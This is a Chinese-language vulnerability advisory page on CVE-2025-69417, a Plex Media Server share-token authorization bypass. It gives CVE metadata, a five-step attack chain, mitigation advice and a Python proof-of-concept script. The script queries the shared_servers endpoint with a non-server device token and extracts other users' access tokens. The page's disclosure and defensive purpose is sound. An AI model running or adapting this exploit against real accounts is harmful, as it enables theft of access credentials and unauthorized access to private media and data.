IPBUF安全漏洞报告
English
CVE-2025-69417 CVSS 5.0 中危

CVE-2025-69417: Plex Media Server共享令牌认证绕过漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-69417
漏洞类型
访问控制绕过
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plex Media Server (PMS)

相关标签

CVE-2025-69417访问控制绕过认证绕过Plex Media Server共享令牌泄露API安全权限验证不足MEDIUM中危漏洞Plex

漏洞概述

CVE-2025-69417是Plex Media Server(PMS)中的一个认证绕过漏洞。该漏洞存在于plex.tv后端服务中,允许使用非服务器设备令牌(non-server device token)通过shared_servers端点检索本不应被访问的共享令牌(share tokens)。这些共享令牌原本设计用于无关访问控制场景,但由于API访问控制不当,攻击者可以利用低权限账户获取其他用户或服务器的共享访问凭证。CVSS评分5.0,属于中危漏洞,主要影响系统的机密性。攻击者无需特殊用户交互即可利用此漏洞,但需要拥有有效的低权限凭证。该漏洞影响截至2025年12月31日的所有Plex Media Server版本,攻击者可能利用获取的共享令牌访问目标服务器上的媒体资源或执行未授权操作。

技术细节

该漏洞的技术根源在于Plex Media Server的shared_servers API端点缺乏正确的授权验证机制。在正常的认证流程中,共享令牌应该仅能通过服务器设备令牌或经过适当授权的会话进行访问。然而,由于API实现缺陷,非服务器类型的设备令牌(non-server device token)也能够成功调用shared_servers端点并获取共享令牌。攻击者首先需要获取一个有效的设备令牌,这可以通过标准用户注册和设备绑定流程获得。随后,攻击者使用该令牌向shared_servers端点发送请求,由于服务端未正确验证令牌类型,允许非服务器设备获取本应受保护的共享令牌。获取的共享令牌可被用于访问其他用户的Plex服务器资源,包括媒体库内容、用户信息等敏感数据。漏洞的利用不依赖于任何用户交互,攻击者可在后台自动化执行。

攻击链分析

STEP 1
步骤1: 获取有效设备令牌
攻击者通过正常的Plex用户注册和设备绑定流程获取一个有效的非服务器设备令牌(non-server device token)。这可以通过移动应用、智能电视或其他客户端设备完成。
STEP 2
步骤2: 构造API请求
攻击者构造针对shared_servers端点的HTTP GET请求,在Authorization头中携带获取的非服务器设备令牌,并设置相应的X-Plex设备标识头。
STEP 3
步骤3: 利用授权绕过
服务端API未能正确验证设备令牌类型,允许非服务器设备访问本应仅限服务器设备访问的shared_servers端点,返回包含共享令牌的数据。
STEP 4
步骤4: 提取共享令牌
攻击者从API响应中提取共享令牌(share tokens),这些令牌可用于访问其他用户的Plex服务器和媒体资源。
STEP 5
步骤5: 未授权资源访问
攻击者使用获取的共享令牌访问目标Plex服务器,可能获取媒体库内容、播放列表、用户信息等敏感数据,或执行其他未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69417 PoC - Plex Media Server Share Token Retrieval # This PoC demonstrates retrieving share tokens using a non-server device token import requests import json import sys def exploit_plex_share_token(base_url, device_token, username): """ Exploit for CVE-2025-69417 Attempts to retrieve share tokens using a non-server device token Args: base_url: Plex server base URL (e.g., https://plex.tv) device_token: Valid device token from a non-server device username: Username for authentication Returns: List of retrieved share tokens """ headers = { 'X-Plex-Product': 'Plex Media Server', 'X-Plex-Version': '1.32.0', 'X-Plex-Client-Identifier': 'cve-2025-69417-poc', 'X-Plex-Device': 'Non-Server-Device', 'X-Plex-Device-Name': 'AttackDevice', 'Authorization': f'Bearer {device_token}' } # Target endpoint that should only be accessible by server devices endpoint = f'{base_url}/api/v2/servers/shared_servers' try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() share_tokens = extract_share_tokens(data) print(f'[+] Successfully retrieved {len(share_tokens)} share tokens') for token in share_tokens: print(f' Token: {token}') return share_tokens elif response.status_code == 401: print('[-] Authentication failed - invalid device token') elif response.status_code == 403: print('[-] Access denied - token type validation working') else: print(f'[-] Unexpected response: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return [] def extract_share_tokens(data): """Extract share tokens from API response""" tokens = [] if isinstance(data, dict) and 'sharedServers' in data: for server in data['sharedServers']: if 'accessToken' in server: tokens.append(server['accessToken']) elif isinstance(data, list): for item in data: tokens.extend(extract_share_tokens(item)) return tokens if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2025-69417.py <base_url> <device_token> <username>') print('Example: python cve-2025-69417.py https://plex.tv abc123def456 [email protected]') sys.exit(1) exploit_plex_share_token(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Plex Media Server < 2025-12-31所有版本
Plex Media Server (PMS) through 2025-12-31

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制设备注册功能,仅允许受信任的设备类型;2)监控shared_servers端点的访问日志,识别异常请求模式;3)对非服务器设备实施额外的访问限制策略;4)考虑暂时禁用共享功能直到完成安全更新;5)建议用户使用强密码并启用账户双因素认证以降低账户被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表